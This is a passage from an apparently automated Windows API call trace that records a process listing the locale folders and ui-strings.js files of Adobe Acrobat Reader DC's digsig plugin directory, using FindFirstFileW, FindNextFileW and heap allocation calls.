lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0250.181] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.182] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0250.182] GetProcessHeap () returned 0xc10000 [0250.182] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.182] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\ar-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0250.183] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.183] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0250.184] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0250.184] GetProcessHeap () returned 0xc10000 [0250.184] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.184] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0250.184] GetProcessHeap () returned 0xc10000 [0250.184] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.184] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\ca-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0250.190] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.190] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x27ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.190] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x27ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.190] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0250.190] GetProcessHeap () returned 0xc10000 [0250.190] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.190] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0250.191] GetProcessHeap () returned 0xc10000 [0250.191] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.191] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\cs-cz\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0250.191] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.191] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x26d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.191] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x26d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.191] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0250.192] GetProcessHeap () returned 0xc10000 [0250.192] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.192] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0250.192] GetProcessHeap () returned 0xc10000 [0250.192] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.192] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\da-dk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0250.193] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.193] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x24a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.193] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x24a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.193] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0250.193] GetProcessHeap () returned 0xc10000 [0250.193] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.193] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0250.193] GetProcessHeap () returned 0xc10000 [0250.193] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.193] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\de-de\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0250.195] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.195] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.195] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.195] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0250.196] GetProcessHeap () returned 0xc10000 [0250.196] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.196] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0250.196] GetProcessHeap () returned 0xc10000 [0250.196] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.196] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\en-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0250.197] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.197] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2364, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.197] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2364, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.198] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0250.198] GetProcessHeap () returned 0xc10000 [0250.198] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.198] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0250.198] GetProcessHeap () returned 0xc10000 [0250.198] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.198] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\en-gb\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0250.199] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.199] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0250.199] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0250.200] GetProcessHeap () returned 0xc10000 [0250.200] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0250.200] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0250.200] GetProcessHeap () returned 0xc10000 [0250.200] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0250.200] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\en-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0250.201] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.201] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2364, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0250.201] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2364, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0250.201] FindClose 